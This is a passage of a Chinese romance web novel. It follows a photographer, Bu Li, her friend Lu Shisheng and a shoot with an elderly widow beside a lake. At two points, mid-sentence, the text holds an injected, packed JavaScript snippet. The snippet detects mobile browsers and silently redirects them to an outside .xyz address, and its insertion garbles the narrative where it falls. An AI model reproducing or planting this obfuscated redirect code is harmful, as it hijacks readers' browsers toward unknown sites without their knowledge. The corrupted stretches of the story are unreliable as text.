步梨打了个哈欠,慢吞吞地下了床,看了眼时间,竟然已经过了10点钟。手机里有几条未读消息,是陆时生一个小时前发来的,问她吃不吃早餐。 步梨肚子很应景地咕咕叫了两声,不紧不慢地打了个“吃”字发过去。 没有回复。 几分钟后,门口传来敲门声。 陆时生站在门口,手里拎了个纸袋。 “旁边包子店买的,有点凉了。” “没事,进来吧。”步梨让他进了屋。 袋子里有豆浆和小笼包,步梨咬了口,味道不错,也没有太凉,是温的。 下过雨的空气很清新,混着泥土味道,随风飘进来。 风里带着春日的暖意。 步梨忽然又想起那个梦里的男人,模模糊糊的看不清脸,像是被一层神秘轻纱隔开,但梦里的感觉却与现在很是相似,像春风一样柔和温暖。 当天,步梨办理了退房,和陆时生一块坐车回了花溪镇,两人在十字路口分道扬镳,各回各家。 ... 香瓜写真馆开业一周也没来几个客人。 步梨趁着清闲,总结了一下去海边拍外景的两次经历,步梨反思了一下,觉得最大的阻碍就是交通工具。所以回来后,步梨便开始物色,很快就买了辆二手车。陆时生觉得这位公主真够能折腾的,开店到现在大包小包的买,也没见有几个顾客来。 幸亏是大小姐,这要是一般人,恐怕早就入不敷出了。 步梨比他乐观得多,她缺什么当然就得买什么了,她自己倒是可以委屈一点,但客人也会不情愿的。 等该采买的工具准备齐全,步梨再次闲了下来,她在院子里转了几圈,回了工作室坐在电脑前P图,P完了就给陆时生发过去,还询问了他的看法。 陆时生应该是在忙,一直没有回复,步梨专注于P图,P完依然给他发过去。 陆时生终于在她发完第九张图的时候回复她了。 “挺好的。” 步梨皱眉,“这么敷衍的评价吗?我忽然想到一个问题。” 她的这些照片好看是好看,但她看多了,就觉得有些平平无奇。 更确切地说,这些照片的美感80%都是靠陆时生的脸撑起来的。 思考了一会儿,她问陆时生,“我想研究点新场景,有特色的,你有什么建议给我吗?” 陆时生答非所问,“步老板看起来有点闲。” 步梨实事求是,“确实。” 她掰着手指头算了算,开业快两周了,除了冯雅,还有阿水的友情光顾,就只有一对小情侣来拍了纪念日大片。 “你帮我想想呗。”步梨将话题扯回来,努力寻求陆时生的帮助。 “行。”陆时生居然答应。 步梨有点好奇,不知道陆时生能想出什么花样来,她只是试试,没抱太大希望,没想到到了晚上,她又收到了陆时生的消息。 “晚上有空吗?” 陆时生发来这一句。 步梨盯着这几个字思考,他是在邀约吗? 过了会儿,她飞速打字,“当然有啊,我是大闲人嘛。” 陆时生一旦回了消息,接下来都会回复得很快,“那我去找你,然后一块去个地方。” 步梨好奇地问,“去哪?” “兰溪湖。” ... 银色的月亮挂在高空之中,徐徐吹来的夜风将其映在湖面中倒映刮得破碎,像是破碎的镜片。 这里离步梨的别墅很近,几步路就到,但因为要从后院出去,经过一片人迹罕至的树林,步梨很少来这边。 她环视一圈,见到湖边停着一搜老旧的渔船。船舷上挂着半截锈蚀的锚链,随风轻轻摇晃着,在月光下投下扭曲的影子。湖水拍打着船底,节奏缓慢而沉重,船尾长了些青苔,露出斑驳的木质纹理。 “怎么忽然喊我来这里?”步梨问。 陆时生道:“不是说让我给你些建议吗?这里怎么样?” “这里?”步梨反应过来,陆时生的意思是将这里作为写真拍摄的场景。 她走近了去看,陆时生跟在她身旁介绍道:“这是辆废弃的渔船,有些老旧,但几处破损的地方我已经修复过了,拍摄应该没有问题。” 步梨表情还算平静,但心里却早就向往得不行。她小心翼翼地抬脚上了船,潮湿的气息扑面而来,船舱里居然有几只萤火虫在忽明忽暗地游荡,照亮了角落里散落的渔网。 那些曾经结实的渔网也已经腐朽不堪,似乎轻轻一碰就会断裂。 “可以吗?”陆时生走过来问。 步梨笑了笑,“所以是要送我一艘渔船吗?” 陆时生眸光闪了闪,“废弃的旧船而已,不被嫌弃就够了。” 步梨喜欢还来不及,这种破败萧瑟却又透着说不出的温馨的场景,她在脑海中够想了无数次,现在终于亲眼所见。 陆时生成功将其变废为宝。 她不觉得废弃的东西就没有价值,恰恰相反,她很喜欢这种感觉,只是总觉得还差了点什么。“可能还需要一盏油灯。”她望了一会儿,说道。 “店里的油灯,我拿过来了。”陆时生竟然预判了她的需求。 因为去拍写真样片那日,陆时生觉得他个人让步梨破费了不少,所以在步梨提出请求后,他也花了不少心思。 他将油灯点了起来,黄灿灿的灯火瞬间将周边的黑暗驱散,跳跃的火苗映出一张明媚柔和的面孔。 步梨看了一会儿,甚至忘了将相机打开。 “相机 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微微辛辣的液体缓缓渗入,夜色似乎也随之变得浓重,让人觉得自己更多地隐匿在黑暗中,便能更加放开甚至放肆起来。 步梨在船头坐下,没再去在意陆时生的镜头,而是全身心感受着来自湖面的晚风。 不知不觉便入了夜。 步梨拍累了,便在船舱躺下,身体与潮湿的木板直接接触。 陆时生放下相机,试图将步梨喊起来,“这样容易感冒。” “不会的。”步梨摇头拒绝。 陆时生见她喝醉后这么执拗,便强行将她拉了起来,把自己的外套脱下来铺在地上,再让她躺。 步梨平躺着,广袤的夜空直接映入眼帘,身下却轻飘飘的,像是躺在摇椅上轻轻摇晃。 “真美。” 陆时生在她身旁的一段距离的位置躺下,和她拥有了相同的视角。 步梨转头问他,“是不是?” 陆时生点了点头。 步梨一直望着他,开口道:“我刚刚给你做了模特,你也得给我做模特。” “相机没电了。”陆时生道。 步梨道:“那下次。” 陆时生扭头看她,“不是都已经做过了?” 步梨认真地说道:“是长期的。” 她喝醉了后说话会比平时慢一些,但语调会重,每个字都在认真强调,陆时生笑了笑,没回应。 步梨却偏要追问到底,“不愿意?” “没有,”陆时生说道,“没什么不愿意的。” 他转了头,视线重新望向天空,下一秒,忽然感觉步梨侧身过来,往他身边靠了靠,两人距离似乎有些近,一时,陆时生没敢转头看,只觉得耳边有温热的呼吸,还没来得及反应,步梨已经将手伸到了他小腹的位置。 陆时生身体一僵,整个人怔愣住,转头正对上步梨放肆大胆,却又清澈无辜的眼神,“那我得检查一下。” “检查什么?”陆时生压抑着要炸开的情绪。 “检查——”过了一会儿,步梨才开口,以一种十分平静的语气说道:“检查一下身材符不符合标准。” 27. 来客了 陆时生不知道自己是不是办错了一件事,在晚上约步梨去兰溪湖。 意外的是,步梨在第二天似乎什么都不记得。陆时生看着她若无其事的模样,心里居然有些气愤。 步梨今天来他的店里定制了些摆件和家具作为写真的背景道具,她把自己的需求讲完,确定好了价格和完工时间,转而问陆时生,“附近有药店吗?嗓子有点疼。” 昨天晚上到底还是着凉了,步梨从早上起来就开始嗓子肿痛,一开始她没当回事,现在似乎有些严重。 陆时生道:“不用去药店,我这有治嗓子疼的秘方。” 他起身去了里屋,步梨便在柜台前坐着等,顺其自然地帮忙看着店铺,过了一会儿,陆时生端了碗姜汤出来。 步梨闻到味道,皱了皱眉,“我不喜欢姜。” “很管用。”陆时生将碗递给她。 步梨捏着鼻子喝下,身体里热乎乎的,竟然真的感觉嗓子舒服了不少,“明天还有吗?” 陆时生笑了一声,“方才不是还很嫌弃?” “昨天晚上不该喝酒又躺地上的。”步梨后悔万分。 陆时生有些惊讶,“你还记得自己躺下了?” 步梨看他一眼,“为什么不记得?” 陆时生继续问:“那后面做了什么?” 步梨觉得他表情有点奇怪,却又不明白他这语气是什么意思,“看星空,不然还能做什么?” 陆时生嘴角扯了扯,“再后面。” “再后面自然就回家睡觉了,昨天晚上是不是还下了小雨来着,你回来时有没有被淋到?”步梨很关心他。 陆时生叹了口气,“所以是选择性失忆吗?” “你在说我吗?” 步梨开始怀疑自己,难道是后面喝醉了做了什么事? 见她是真的不知道,陆时生放弃提示,直接站起来,微微张开双臂,做出一副展示的姿态,开门见山地问道:“我合格了吗?” 步梨还懵懵地坐在位子上,以她的高度,抬头时目光正好与陆时生的腹部齐平。 她正要开口问陆时生口中的合格说的是什么,却忽然语塞,大脑有些恍惚,为什么她有种错觉,感觉自己曾经摸过陆时生的腹肌? 是做春梦了吗? 真实得不能再真实的感觉。 难道真的摸过? 昨天晚上? 那她还做了别的吗? 不会。 应该就是做梦。 步梨催眠自己失败。若真是做梦,陆时生现在不可能会质问她这些。 她有种上学时期偷偷出去喝酒被抓包的羞耻感,像个泄了气的皮球一样开口问陆时生,“是要我负责吗?赔偿点钱行吗?” 陆时生听着她说出这话,再配上她满面愁容的表情,顿时比刚才还要生气,“你觉得我是在向你要钱?” “那要什么?” 步梨的语气十分诚恳,是在很真诚地询问他的诉求,搞得陆时生竟然愣了愣,一时也搞不明白自己是在向她要什么。 他想要个说法,但也不合理,不过是普通的触摸而已,他又何必揪着不放? 沉默了一会儿后,陆时生坐了回去,语气轻淡地说道:“没事,我随口说的,也没有很在意,你也不用放在心上。” 步梨松了口气,“你刚刚的语气,我以为你还挺在意的。” “我就是——”陆时生嗓子一噎,绞尽脑汁最终成功给自己找到了一个合适的理由,“我就是想知道,合不合格,以后方便干个副业。” “那就行。”步梨脸上重新浮起笑容。 ... 望潮木工坊干活的效率很高。 步梨定制的小手工品完工得很快,这几日陆时生经常来送货上门。 冯雅这几天都在这边帮忙,和步梨学一些工作上的内容。一开始见到陆时生,冯雅还挺不乐意的,陆时生一来,她就拿戴着手套出去打扫院子。后来也不知中了什么邪,突然有一天就和陆时生打了个招呼。 步梨觉得她这几天不太对劲儿,总是抱着手机傻了,没活儿干的时候,就在手机上啪啪啪打字,不知道在和谁发消息。 步梨观察了她几天,女人的直觉告诉她,这姑娘恋爱了。 “上次去拍样片,你说住同学家了,男同学还是女同学?”步梨眯了眯眼,看透一切的表情。 冯雅道:“是女同学。” 步梨笑了下,“真的?” 她目光透出锋利,冯雅一时感觉像是受到来自老师的审问,不知怎的,就交代了实情。 “一个女同学,一个男同学,都有,他们是龙凤胎,我们高中都是一个班的。” 步梨问:“那名男同学帅吗?” 一提到这个,冯雅顿时喜笑颜开,面露羞涩地点了点头。 步梨感叹了一番。 到底是小孩,感情变得还真是快。现在小孩都早熟,连什么是喜欢都不懂的年纪,就开始说谈恋爱,嘴里说着什么“我爱你”“我们要一辈子在一起”这类的肉麻的话。 不过也正是这个年纪,对爱情充满着懵懂的向往,感情也是纯粹的,真诚的,炙热的。 不像她,已经过了憧憬爱情的年纪,偶尔说看看帅哥谈谈恋爱,也只是过个嘴瘾,从没真刀真枪的付出行动过。 她又问了问男同学的基本情况,跟查户口似的。 冯雅有些不耐烦了,皱着眉毛回道:“步梨姐,我俩八字还没一撇呢,而且他成绩好,要去市里读大学了,虽然我也想去市里找找工作打拼一下,但还不知道能不能找到呢。” 步梨宽慰她,“谈个恋爱而已,想那么多干嘛,要不是结婚,要考虑实力相当,门当户对。” 冯雅显然没太理解,歪着头问她:“为什么结婚要门当户对啊?” “啊,”步梨低吟一声,觉得自己可能说得有点深奥了,不适合给一个十六七岁的花季少女听,“没事,有的道理不需要太早明白,你现在,开开心心跟小男生约会就行了。” “我今天下午想去约个会,你看下午这里也没客人,能不能给我放半天假?” 冯雅这小机灵鬼估计早就有此想法,顺着这个话题提出来,步梨也没法儿不答应。 不成想这小丫头得寸进尺,又问:“步梨姐,要不你帮人帮到底,你化妆那么好看,能不能帮我化个妆啊?” “原来在这儿等着我呢。” 步梨把化妆台前的椅子一拉,掸了掸粉色的超大号粉扑,“过来吧。” 冯雅欢欢喜喜地坐过来,坐下前还给了步梨一个飞吻。 步梨没给她化太浓的妆,清透感的裸妆刚好合适。 冯雅左右看了看,疑问道:“这行吗?感觉和没化一样。” 步梨笑道:“小孩,得多学学了吧,太浓的妆容反而不好,会让他觉得你在取悦他,这种化了又像是没化妆的淡妆刚刚好。其实化不化妆都不重要,重要的是,要自信。” 她将化妆品收拾好,独自到沙发上喝茶休息。 冯雅照着镜子把自己的脸又端详了一会儿,才发现其中绝妙,这妆贴在脸上,很自然,就像自己天生就有一副好皮囊。 她一时心情大好,拿出手机开始自拍,等到了时间,准时接到了杜庭打来的电话,步梨听到她夹着嗓子嗯啊了几声,然后便迫不及待风风火火地出去找人了。 偌大的别墅里又剩了她一人,风吹起窗帘,显得四周空荡荡,步梨闲来无事,随便找了个电影看。 看到一半,她昏昏沉沉地要睡过去,隐约听到有人敲门。 步梨半睡半醒,起初还以为自己幻听了,反应一会儿才发现是真的有人来了。 “有人吗?” “有!”步梨从沙发上跳起来,关了电视,赶忙出去迎接。 “不好意思,久等了。” “没事,这是照相馆吧?” 来人是位老妇人,头发花白,但梳得很整齐,身子骨也精神,腿脚利索,没几步就迈过台阶进了屋。 步梨引着她进屋入座后,倒了杯茶递过来,礼貌问道:“奶奶,您贵姓?” “我姓吴,听说你拍照拍得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484747|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我想来你这儿照个相。” 步梨被夸了后心情大悦,不好意思地说:“吴奶奶放心,肯定满足您的需求,您看看想拍什么样子的?” 步梨把样片相册递过去,微微有些心虚。 她的样片的风格虽然多变,但主要还是面向的年轻群体。 像吴奶奶这种年纪的人,八成喜欢复古一些的风格,比如旗袍啊,古装啊,或者民族风,她这里是新店,虽然有考虑过这些,但还没落实下来,服装道具一概没有。 不过吴向荣倒是没先关注照片,她一看价格就长大了嘴,随后皱起眉头叹息一声,“拍这些个照片,要这么贵啊。” 吴向荣不太懂写真,她就听说镇上开了个照相馆,能把人拍得跟明星似的,想着活了一辈子也没留下几张照片,考虑了几天终于狠下心来给自己花点钱,预算也就两百块钱。 步梨理解老人家的心情,她向吴奶奶解释了一下她的定价情况,又补充道:“吴奶奶,这个价格是三套写真的价格,您看这些布景都可以拍,到时候您可以收到很多张照片,风格都是按您的需求定制。” 老人家看了一会儿,小心翼翼问道:“可我不想拍那么多,如果只拍一张的话,怎么收费啊?” 步梨顿了顿,只拍一张倒也不是不行,只是她没算过成本,不知道怎么收费,而且化好了妆,只拍一张多浪费啊。 “不行的话,那就算了。”吴向荣脸上难掩失落。 正要起身,步梨叫住她,本着“反正闲着也是闲着”的心态,步梨答应她只拍一张。况且拍太多很耗体力,老人估计也拍不了太久。 “没问题,我可以送给您几张,收费就按一张的价格。” 步梨摊开手掌,伸出手笔画了个五,“五十?” 吴奶奶点了点头,“那行,那行。” “那您选一组?” 吴向荣低头看,脸上浮起勉强的笑,“诶呦,这都是年轻小姑娘,我这么大年纪了来拍照的,是不是头一个啊?” 步梨很自然地摇了摇头,“哪有,爱美之心人皆有之,不分年龄的,而且吴奶奶,我看您气质很独特,一看您就是知识分子。” 吴向荣听了她的话,这才放心下来,喜笑颜开地开始选片。 “你看得挺准的,我和我老伴儿年轻时都在学校教书,那会儿学生少,老师也就我们俩。”吴向荣说着,手上翻页的动作停了下来,她指着样片册里的一张照片问:“我能拍这个吗?” 步梨垂眼去看,是一组在兰花溪旁取景的照片。 “当然,我带您去试下衣服。” 步梨家的试衣间很大,有一部分日常衣服是她自己的,还有就是特意新买来的礼服,吴向荣看了一圈,一件都没选,摇摇头道:“这些都是小姑娘的衣服,穿我这老太太身上,成了老黄瓜刷绿漆了。” 步梨想起隔壁储藏室还有个衣柜,里头有几件她奶奶的衣服,保存得应该都不错。 果然,吴奶奶很快从里面选了一件淡蓝色的旗袍。 这是件很日常的旗袍,步梨记得她奶奶之前也很爱穿。 某个瞬间,步梨有几分恍惚,觉得她奶奶又回到她身边了。 就像某个寻常得不能再寻常的午后,她和奶奶都装扮好,要一块出去买菜。 那段时光好像又回来了,好似一缕细烟,在她身边绕了两圈后,很快便消失不见。 步梨重回工作状态,看向吴奶奶说道:“您穿这件真合身。” 吴向荣眯了眯眼,满意道:“这衣服料子好,一看就很贵。” 下楼后,准备出发去兰溪湖,步梨拿了车钥匙,随口便很了句,“小冯,帮我拿下包。” 话喊出口后她才意识到,今天冯雅请假了,只剩下她这个孤家寡人照看店铺,不赶巧又来了客人,她一个人有些应付不暇。 还是有个助理在身边好。 但总不能把冯雅临时喊回来,人小姑娘正约会呢,她不能干这种不道德的事。 再三思考之后,步梨只能勉为其难作出决定。 得把陆时生喊过来。 28. 出动,去拍照 陆时生被喊过来的时候人看起来不情不愿的。 步梨给他打电话的时候只说了有要紧事让他快过来,没说具体是什么,结果他到了才发现就是给她当助理,有什么可要紧的?搞得他连衣服都没来得及换。 “真成你助理了,随叫随到。”他抱怨了句。 步梨很好脾气地笑了笑,“我刚想起来冯雅请假了,这不是怕客人等太久吗?完了请你吃饭。” 她脸上笑意很真诚,陆时生莫名其妙心情愉悦起来,他把沾满了灰尘的破外套脱了掸了下土再穿上,之后才过去。 他的快递站点算是镇上的一个聚集点,周边的人他多多少少都认识,不熟的也见过几面,自然也认识吴向荣。更何况吴向荣还是他父亲的小学老师,听老陆说,吴向荣和她丈夫是当时为数不多的愿意留在村里教书的,因为这层缘故,陆时生对吴向荣很是尊重,她去买东西的时候,也经常给她少算两块钱。 陆时生走过来,吴向荣看见是他,率先开了口,“诶呦,老陆家的来了啊?” 陆时生点了下头,“吴奶奶,上车吧。” 他帮忙开了车门。 “好好。” 步梨直接坐上了副驾,她车技不咋地,再加上村子里的路往往又窄又乱,自从把车提回来,她还没正式上路过,保险起见,还是得让陆时生当司机,她坐副驾。 “小陆啊,你怎么也来这儿帮忙了?” 吴向荣很喜欢陆时生,人长得帅,也懂礼貌,她坐在后座看着陆时生,就止不住地想夸赞几句。 开车也稳当,真是不错。 陆时生从后视镜看了眼,“我跟步老板是朋友。” 步梨接过话来,笑呵呵地附和:“嗯呐,我也经常去望潮木工坊帮忙。” 陆时生淡淡道:“也没去几回,算不上经常。” 步梨瞪了他一眼,“我又不是长工。” 吴向荣在车后座呵呵地笑,觉得这两人一来一回的挺有意思,随即感叹了一句,“你俩真是般配,处了多久了?” 这话一出,步梨立刻老实了。 “吴奶奶,我俩没处对象。” “害啥臊啊,你们这年纪处对象是正常事,小陆也一把年纪了,这些年都没谈过恋爱,遇上你是他的福气,这缘分啊,就是要自己把握住,当年我跟老程就是,我刚来这的小学,见到老程后就一见钟情了,后来我就主动出击,把他拿下了,对了,小陆啊,你爸还是我带的第一届学生呢。” 吴向荣边笑边开启念叨模式。 陆时生道:“我听我爸说过。” “你爸当年可是年级第一呢,考上了重点高中,后来又上了重点大学,被分配到了市里工作,唉,你爸也是个命苦的,当初你们一家过得多好,后来你爸带着你回花溪镇,我听说秀梅走了的时候,那一个心疼啊。不过你们家这日子现在过得也算不错,你也赶紧结个婚生个孩子,别总让你爸操心。” “知道了,吴奶奶您就别操心了,程明最近回来看您了么?”陆时生转移话题。 吴向荣道:“前两天跟他爸一块刚来过,带了不少东西,之前他跟他爷爷最亲了,如今我们家老程也走了好几年了,要是他还在,能跟我一块来拍个照就好了,可惜啊。” 步梨道:“您跟您老伴感情肯定很好。” 吴向荣摆了摆手,“嗨,凑合吧。” 车上一阵笑。 大约开了一刻钟,车子很快到了位于花溪镇六七公里的兰溪湖,这片地从前是荒地,本来说是要盖楼房,但因为位置偏,迟迟未动工,后来又被其他开发商看中,觉得这里风景不错,又离县城近,靠近蓝港旅游新区,就被改成了林地,周末时不时会有城里人来这里露营。 大多时候,这边都很是清净。 蓝宝石一样的湖面平静地躺在绿草地中间,岸边的柳树都绿了,柳条垂下,见来了人,还借着风摆了两下。 吴向荣气质很好,一把年纪了面对镜头也不怯场,每个细节都很配合,拍完照,还不忘对步梨道:“小步啊,你能不能教教奶奶这相机怎么用啊?” “可以啊。”步梨凑近,将相机上的按键一一给吴向荣讲了一遍,没想到吴向荣记忆力很好,一遍就记住了。 步梨便又给她讲了些构图的技巧,吴相容举着相机现学现用,拍了几张照片。 步梨道:“您拍得真好看,很有摄影天赋。” 吴向荣眯了眯眼,说:“我用这个给你俩拍张照怎么样,叫情侣大片对不对?” 步梨扮出一张苦脸,愁容满面地看了眼陆时生,然后跟吴向荣道:“吴奶奶,我倒是没啥,就是他,肯定不愿意。” 吴向荣一听就怒了,“怎么就不愿意了,咱这么漂亮一大闺女,他还能不愿意了?” 她中气十足,说话声音不小,步梨担心陆时生听见她们俩的合谋,急忙做了个嘘声的动作,说道:“算了算了,我开玩笑的,其实我俩真不是情侣,一块拍情侣大片也怪不合适的。” 吴向荣明显不信,再三确认道:“真不是情侣?” 步梨道:“真不是。” 吴向荣朝陆时生的方向望了望,恨铁不成钢道:“小陆这孩子不开窍,就是你们年轻人口中的钢铁大直男,不过人还是不错的,你要是喜欢,我帮你说说他。” 步梨笑了两声,拦住正要去找陆时生的吴向荣道:“别了别了,我俩就是朋友,一块拍照片怪尴尬的,而且我也没那意思,刚刚我就开个玩笑。” 吴向荣把目光从陆时生转向步梨,一番审视后,确切道:“小步,我能看出来,你挺喜欢他,看他那眼里都放着光。” “那是他长得帅,我看帅哥都这样。” 步梨笑道。 吴向荣坚定道:“而且小陆也喜欢你。” 步梨一愣,随即笑道:“有吗?” 吴向荣笑了两声,随即转身招呼道:“小陆,过来一下。” 陆时生正在收道具,听到召唤立刻走了过来,不明所以地问:“怎么了?” 吴向荣从步梨手中拿过相机,指着柳树下的长椅,指挥道:“你俩在那坐会儿,我学学拍照,我看那边风景不错,我去拍一下,按这个对吧?小步。” “嗯呢。”步梨点头。 “喝水吗?”陆时生递了瓶矿泉水过来。 步梨摇摇头,“不用了,一会儿回去你开快点。” 陆时生拧开水自己喝了大半,“怎么了?” 步梨道:“没什么,我想上个洗手间。” 她微微侧目,正好看见陆时生在笑,步梨脸一红,嗔怒道:“笑什么?人有三急,不行吗?” “行,那我去喊一下吴奶奶。” 陆时生喊了吴向荣回来,几人上了车,开车回到写真馆。 步梨从洗手间出来,见到吴向荣正跟陆时生不知道在说什么,陆时生垂着眼,显然是被迫社交,见步梨来了,如获大赦一样站起身,“选片吧。” “嗯嗯。”步梨把摄影机连接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490127|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑,等待传输的期间给吴向荣搬了椅子,因为担心照片数量太多的话不好选,她没拍太多照片,只有十来张,让吴奶奶选一张打印出来,其他的作为电子版赠送。 选片期间,陆时生就坐在沙发上喝茶,茶是自己找的,水是自己烧的,真正做到了宾至如归。 步梨将吴向荣最喜欢的照片打印了出来,裱到相框里,“其他的照片,我只能发您电子版的啦。” 吴向荣道:“没问题,我有手机的,你们年轻人用的东西我都会用。” 步梨笑:“您真赶时髦。” 吴向荣笑了笑,拿着相框,干枯的手指在上面抚摸了下,又舍不得再碰,只看着感叹道:“真好啊,要是我年轻的时候能拍到这么好看的照片就好喽。” 步梨脑子里忽然生出一个想法,她转头问道:“吴奶奶,您年轻时有没有拍过照片啊?或者您和您先生的合照,我有一个大学的同学,很会P图,可以把您年轻时的脸P到这个背景上,您就当是年轻时拍的,虽然是假的,也算是一份慰藉不是?” 吴向荣一听,立刻提起兴致打开手机开始翻找起来,“我家老程生前从没拍过照片,再过几年我怕是都忘了他长什么样子喽,不过我自己的倒是有两张,你看,我前两天刚好存手机上了。” 步梨看后拧眉,“有点模糊,实际的照片也这么模糊吗?” 吴向荣道:“好多年了,照片都掉色了,这张算是最清楚的了。” 步梨摇摇头,“那估计没法儿P了,不过您可以先发给我,我让同学看看,只是希望不大。” 她有些后悔提了这个想法,给了人希望,又办不成,平添了份难过。 吴向荣失落了会儿,脸上很快恢复笑意,“没关系,有这张就够了。” 她缓缓站起身,道了声谢,离开时夕阳已经落山。 步梨去找陆时生,见到他人靠在沙发上睡着了。 窗帘半拉着,火红的晚霞切进来,陆时生刚好坐在阴暗交替的地方,一半日光映在他的脸上,留下一个好看的阴影。 他睡着的时候看起来很乖,和平时的气场完全不同,好像给个棒棒糖就能拐走。 看过去的一刹那,步梨有些发愣,感觉心里有个地方狠狠漏了一拍,紧接着便是前所未有的安静,全世界只剩下一个声音,来自于她的身体内部,心里好像有个东西在横冲直撞,导致心脏砰砰乱跳。 步梨忽然冒出一个流氓想法,不如这个时候直接把人给办了! 趁着陆时生尚未从睡梦中清醒,应该也没有力气反抗。 简直天时地利人和,唯独碰上她这个胆小鬼。 唉,也不能叫做胆小鬼,到底她还是一个谦和温柔又有素质的淑女。 干不出这种事儿来。 步梨站在原地,给自己辩解了一下,又抬眼去沙发上的人。陆时生浓密的睫毛像是小扇子一样覆在眼下,微微煽动两下,步梨的心也跟着跳了两次,想起今天中午她刚刚笑过冯雅,觉得她年少懵懂为爱痴狂。 现在她自己这个状态,是什么? 若说仅仅是因为他的样貌,平心而论,她见过的多俊男靓女并不算少。 现在这个感觉,是心动吗? 在这个离家几百公里的边陲小镇,对一个整日就会做木雕搬快递的老男人心动,可不是她这个年纪应该干出来的事! 罢了,八成是相处久了,从被美色迷了双眼,后又渐渐腐蚀了心智。 步梨觉得这个说法合理。 29. 校徽 步梨站了一会儿,想起还有件事没干,她从柜子里拿出了在夜市买的手工艺品,打开看了一眼后,放回盒子里,身后有人喊了她一声。 “步梨。” 步梨被吓了一跳,手里的东西差点掉在地上。 陆时生见她被吓到,坏笑了一声,说道:“干什么呢鬼鬼祟祟的?” 步梨撇嘴反驳,“哪有鬼鬼祟祟,天快黑了,你怎么还不走?” 因为方才生出了不该有的想法,步梨现在还处于为自己的龌龊思想感到羞耻的状态,颇有点恼羞成怒的意思,情绪表现得有些极端。 陆时生只当她是玩笑话,毫无在意地拉着尾音道:“累了半天,用完就让人走?” 说完,又不咸不淡地问:“晚上吃什么?” 居然还想蹭饭,步梨叉腰道:“不饿,累了,不想做,正好减减肥。” “真有你的。”陆时生懒洋洋地站起来,走过步梨身边时,停下脚步,说道,“那给我吧,我先回了。” “啊?”步梨一愣。 陆时生指了指她手里的袋子,“不是给我的吗?” 步梨抿了抿嘴,递给他,“算是今天帮忙的酬劳。” “不用谢。”陆时生没多客气,接过就离开了。 步梨愣了一会儿。 陆时生收礼收得如此理所应当,估计是平时收别的女孩的礼物收惯了,所以也不觉得有什么。 她脑子里浮现出他和菲姐拉扯的情景,心里的爱意消了大半,朝着他离开的方向瞪了一眼。 剩下她一人后,她简单收拾了下房间,本打算不吃饭的,可肚子不争气地饿了。 步梨去厨房翻箱倒柜了一会儿,只搜出一桶泡面,正想用这个凑合一下,又有人来了。 这次是崔胖。 他手里拎着一个大饭盒,一进门就扯着嗓子大喊,“步梨姐,我给你送饭来了——” 步梨惊讶地过去,隔着一米就闻到了饭香的味道,“你做的?” 崔胖笑笑,说道:“不是,生哥做的,他说做多了,让我给你送过来一份。” 步梨道:“你吃了吗?” 崔胖露出一排小白牙,“没有呢,生哥让我先给你送过来,我就不在你这儿吃了,你这是一人份,不够我吃的。” 步梨噗嗤一笑,“也没想留你吃饭。” 崔胖嘿嘿笑了两声,挠了挠头,“那我走了,我今天回家吃,我妈催我好几次了。” “嗯,路上小心。”步梨朝他挥了挥手。 她把泡面又放回了柜子里,打开了陆时生送来的饭盒,是西红柿炒蛋和辣椒炒肉,食物的香气将她肚子里的馋虫一下子勾起,步梨心情大好,迫不及待地拿出饭盒,同时一张纸条掉落。 黄色的便利贴上,是陆时生标志的小楷字体。 “凑合吃点,对了,礼物挺可爱,谢谢。” ...... 近来多雨,晚上又落了些,只是来也匆匆去也匆匆。 潮湿的空气从窗户涌进来。 步梨披着件毯子防寒,缩在椅子上翻看着今天的拍摄成果,深蓝色的湖水泛起微微波澜,清瘦的老人静静站在树下,神色淡然,眼里透着慈祥。 步梨想起了她的奶奶。 生活总是有很多遗憾,再无法弥补。 后面几张都是吴向荣拍的风景照,步梨将这些全都传到电脑里保存下来,直到最后一张照片出现。 步梨点击鼠标的手指微微顿了下,目光在屏幕上定住。 原来吴奶奶真的给他们两人拍了合照,趁他们两个人都不注意的时候。 照片里,她和陆时生坐在柳树下的长椅上,步梨百无聊赖地看向别处,表情有些不耐烦,但实际上,她只是内急。 唉,吴奶奶也真是的,怎么不提前和她商量好,她也好做表情管理。 坐在她身旁的陆时生倒是神色淡然,每时每刻都一副云淡风轻的模样,步梨将他的脸放大,这才注意到他的双眸正偏向一侧,不经意地看向步梨,嘴角微微扬起。 是在笑她内急? 步梨叹了两口气,关了电脑,爬上温暖的床。 窗外,月亮藏进了乌云里,陷入沉眠。 ...... 第二天,步梨早早就起了床开始干活。 离开张的时间还早,步梨把很久没用过的画夹打开,准备好画笔和颜料,铺好了画纸,开始在上面描摹。 画纸上的线条与色彩一点点丰富起来,三个小时过后,一张写真照的完美复刻跃然于纸上。 唯一不同的是,步梨在画时把吴奶奶的模样改成了年轻时候的样子。 昨天晚上她问过了P图的同学,答案确实是没办法处理,但步梨想到了另外的方法,画出来。 吴奶奶发给她的照片有些模糊,她仔细对比了画里和照片里的面部轮廓和五官细节,一次次修改之后,她确认已经达到了百分之九十的相似。 大功告成。 她又想到了件事,连早饭都没顾上吃,便去了望潮木工坊。 冯雅正好过来上班,见步梨火急火燎地要出门,疑惑地问了她一句。 “你看下店,我出去一趟。” 步梨随手拽了件外套穿上,留了句话就往外走。 